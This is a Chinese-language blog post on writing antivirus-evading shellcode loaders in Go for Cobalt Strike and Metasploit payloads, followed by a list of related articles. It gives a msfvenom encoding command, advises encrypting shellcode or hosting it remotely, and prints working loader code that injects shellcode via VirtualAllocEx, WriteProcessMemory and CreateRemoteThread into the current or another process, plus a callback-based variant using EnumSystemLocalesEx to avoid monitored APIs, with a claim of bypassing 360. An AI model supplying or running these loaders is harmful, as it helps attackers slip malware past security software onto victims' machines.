最近也是学习了一下有关shellcode进程注入的操作,简单分享一下通过golang进行实现shellcode加载器的免杀思路。

杀软的查杀方式

静态查杀:查杀的方式是结合特征码,对文件的特征段如Hash、文件名、函数名、敏感字符串等进行匹配。

动态查杀:主要针对于软件运行后的行为进行查杀,杀软可能会监控内存、注册表、敏感程序以及各种API等。如果程序在运行之后进行了危险操作比如说修改了注册表,那就会杀软查杀。

当然还有云查杀、沙箱这些技术。这里主要还是总结了对于CS、MSF生成的shellcode使用加载器进行进程注入来免杀的操作。

对于一个msf、CS生成的exe可执行文件,其特征已经被杀软拿捏得死死。而shellcode加载器免杀的原理就是在不修改shellcode代码的基础上,通过将shellcode和程序分离来进行绕过。一方面对分离出来的shellcode进行诸如异或、AES等加密方式绕过杀软的特征码查杀;另一方面作为加载器的程序在没有shellcode的情况下是不存在病毒行为的。

对于shellcode的处理

通常情况,我会选择生成RAW以原始二进制生成payload,并对生成的二进制数据进行Base64编码处理。然后可以对得到的Base64字符串进行各种类型的加密处理。其中Linux的base64可以很好的完成对二进制数据的base64编码处理,并且可以很方便的删除payload中的换行符号。

msfvenom -p [payload] -f raw | base64 | tr -d "\n"

这里推荐一个go语言封装的各种加密项目。方便对shellcode的各种加密处理。

https://github.com/wumansgy/goEncrypt

对于shellcode,你也可以把以txt格式保存在公网vps上,亦或者是隐写的图片当中,加载器通过http请求远程加载shellcode。

对于加载器

一个简单的shellcode加载器应该有以下几个部分:读取并处理shellcode、调用win api为shellcode分配内存、将shellcode写入内存,最后执行内存中的shellcode。

这里常用的api有VirtualAlloc、VirtualProtect、CreateRemoteThread等,当然了这里需要借助windows的文档来详细了解这些api的用法。

func loader2(sc []byte)   {
// 获取当前进程的句柄
pHandle, _ := syscall.GetCurrentProcess()
Protect := windows.PAGE_EXECUTE_READWRITE
// 为shellcode分配足够大小的内存
addr, _, _ := VirtualAllocEx.Call(uintptr(pHandle), 0, uintptr(len(sc)), windows.MEM_RESERVE|windows.MEM_COMMIT, windows.PAGE_READWRITE)
// 将shellcode写入内存当中
WriteProcessMemory.Call(uintptr(pHandle), addr, (uintptr)(unsafe.Pointer(&sc[0])), uintptr(len(sc)))
//修改进程的保护属性为可读写可执行
VirtualProtectEx.Call(uintptr(pHandle), addr, uintptr(len(sc)), windows.PAGE_EXECUTE_READWRITE, uintptr(unsafe.Pointer(&Protect)))
//创建线程执行shellcode
x,_, _ := CreateRemoteThread.Call(uintptr(pHandle), 0, 0, addr, 0, 0, 0)
for{ }
}

上面就是一个简单的shellcode加载器的例子。将shellcode注入到当前进程当中,因此在代码的最后,需要用一个死循环来使得我们整个程序一直处在一个运行的状态当中。(本地虚拟机测试,可以绕过360)

当然,这里你选择注入的进程也可以是其他的程序,那么这里需要做的改变仅仅是修改获取进程句柄的方式。使用下面的方法,将根据pid来获取进程的句柄,就可以向你需要的进程中注入shellcode。

pHandle,_ := windows.OpenProcess(0x1F0FFF,false,pid)

在上面加载器的例子当中,我们用到了一些winapi 如 VirtualAlloc、CreateRemoteThread这些api其实都在各大杀软的重点监控当中。那么为了应对这种监控,一种好的办法就是不使用这些敏感的api。windows的一些api提供的回调函数,它的参数是指针类型的话是可以直接调用内存当中的shellcode的,就是变相的达到了不适用敏感api来执行shellcode的方法。

下面这个github开源项目提供了很多这种包含有回调函数可以执行shellcode的方法。

https://github.com/aahmad097/AlternativeShellcodeExec

下面这个例子就是使用了EnumSystemLocalesEx这个api 来实现回调执行shellcode。

func EnumSystemLocalesEx1(data []byte) {
addr, _, errVirtualAlloc := VirtualAlloc.Call(0, uintptr(len(data)), windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_READWRITE)
if errVirtualAlloc != nil && errVirtualAlloc.Error() != "The operation completed successfully." {
panic(1)
}
_, _, errRtlMoveMemory := RtlMoveMemory.Call(addr, (uintptr)(unsafe.Pointer(&data[0])), uintptr(len(data)))
if errRtlMoveMemory != nil && errRtlMoveMemory.Error() != "The operation completed successfully." {
panic(1)
}
oldProtect := windows.PAGE_READWRITE
_, _, errVirtualProtect := VirtualProtect.Call(addr, uintptr(len(data)), windows.PAGE_EXECUTE_READ, uintptr(unsafe.Pointer(&oldProtect)))
if errVirtualProtect != nil && errVirtualProtect.Error() != "The operation completed successfully." {
panic(1)
}
EnumSystemLocalesEx.Call(addr, 0,0,0)
}

免杀涉及到的内容还是非常广泛的,做好免杀还是需要继续深入学习多方面的知识。

浅析golang shellcode加载器的更多相关文章

  1. [原创]Python免杀ShellCode加载器(Cobaltstrike/Metasploit)

    0x001 原理 采用分离法,即将ShellCode和加载器分离.方法较LOW但免杀. 本文主要将ShellCode转成HEX,再通过加载器执行ShellCode. PS: 何为SC加载器,即专门用于 ...

  2. 理解go语言的shellcode加载器

    序言 本文假设你知道unsafe包常见函数的用法,若否,请查看 https://books.studygolang.com/gopl-zh/ch13/ch13-01.html  第13章. 例子和代码 ...

  3. 恶意软件开发——编写第一个Loader加载器

    一.什么是shellcode loader? 上一篇文章说了,我们说到了什么是shellcode,为了使我们的shellcode加载到内存并执行,我们需要shellcode加载器,也就是我们的shel ...

  4. js模块化加载器实现

    背景 自es6以前,JavaScript是天生模块化缺失的,即缺少类似后端语言的class, 作用域也只以函数作为区分.这与早期js的语言定位有关, 作为一个只需要在网页中嵌入几十上百行代码来实现一些 ...

  5. golang动态加载原生代码思路

    golang动态加载原生代码思路(非plugin,非so文件.使用mmap形式运行机器码,可释放) 1.用go tool objdump,可以看到任意函数的机器码.汇编指令.偏移.(go源码下面有一个 ...

  6. 实现一个类 RequireJS 的模块加载器 (二)

    2017 新年好 ! 新年第一天对我来说真是悲伤 ,早上兴冲冲地爬起来背着书包跑去实验室,结果今天大家都休息 .回宿舍的时候发现书包湿了,原来盒子装的牛奶盖子松了,泼了一书包,电脑风扇口和USB口都进 ...

  7. 使用RequireJS并实现一个自己的模块加载器 (一)

    RequireJS & SeaJS 在 模块化开发 开发以前,都是直接在页面上引入 script 标签来引用脚本的,当项目变得比较复杂,就会带来很多问题. JS项目中的依赖只有通过引入JS的顺 ...

  8. AngularJs2与AMD加载器(dojo requirejs)集成

    现在是西太平洋时间凌晨,这个问题我鼓捣了一天,都没时间学英语了,英语太差,相信第二天我也看不懂了,直接看结果就行. 核心原理就是require在AngularJs2编译过程中是关键字,而在浏览器里面运 ...

  9. js前端模块化之加载器原理解析(一)

    先来说一下前端模块化的价值:引用模块此处有详细的介绍,可以自行前往观看. 一.总结如下优点: (1)解决命名冲突(2)烦琐的文件依赖(3)模块的版本管理(4)提高可维护性(5)前端性能优化(6)跨环境 ...

随机推荐

  1. python3修改HTMLTestRunner,生成有截图的测试报告,并发送测试邮件(二)

    3. 如何将第一步得到的地址和名称 输入 进第二步里的表格中呢... 用上述查找元素的方法,发现HTMLTestRunner.py中REPORT_TEST_WITH_OUTPUT_TMPL是用来输出测 ...

  2. xrdp出现xrdp vnc error problem connecting解决办法

    # generate a file called .xsession in your home directory, and set default desktop echo "xfce4- ...

  3. Soa: 一个轻量级的微服务库

    Soa 项目地址:Github:MatoApps/Soa 介绍 一个轻量级的微服务库,基于.Net 6 + Abp框架 可快速地将现有项目改造成为面向服务体系结构,实现模块间松耦合. 感谢 Rabbi ...

  4. Spring IOC 常用注解与使用

    @Component 注解@component代表spring ioc 会把这个类扫描生成Bean实例 @Component public class Role{ @Value("1&quo ...

  5. MySQL - 数据库的隔离级别

    MySQL - 数据库的隔离级别 隔离级别 脏读(Dirty Read) 不可重复读(NonRepeatable Read) 幻读(Phantom Read) 未提交读(Read uncommitte ...

  6. 使用kubeseal加密和管理k8s集群的secret

    使用kubeseal加密和管理k8s集群的secret 在k8s的管理过程中,像secret这种资源并不好维护,kubeseal提供了一种相对简单的方式来对原始secret资源进行加密,并通过控制器进 ...

  7. Markdown的使用指南

    # Markdown学习 ------ 以下符号均是英文输入法下的 ## 1.标题 几级标题就写 几个#号 加 空格 加 标题内容 就可以 例如: ###加空格加三级标题效果如下 ### 三级标题 # ...

  8. ExtJS 布局-Absolute布局(Absolute layout)

    更新记录: 2022年5月31日 发布本篇 1.说明 使用xy配置项设置子组件在父容器中绝对位置,本质是将子组件的CSS的position设置为absolute,然后使用x和y配置项映射到CSS的to ...

  9. kubernetes code-generator使用

    目录 Overview Prerequisites CRD code-generator 编写代码模板 code-generator Tag说明 开始填写文件内容 type.go doc.go reg ...

  10. VisionPro · C# · 界面显示视觉结果图像

    程序界面通过 CogRecordDisplay 控件显示视觉运行结果图像. 按指定图像显示,代码如下: using System; using System.Windows.Forms; using ...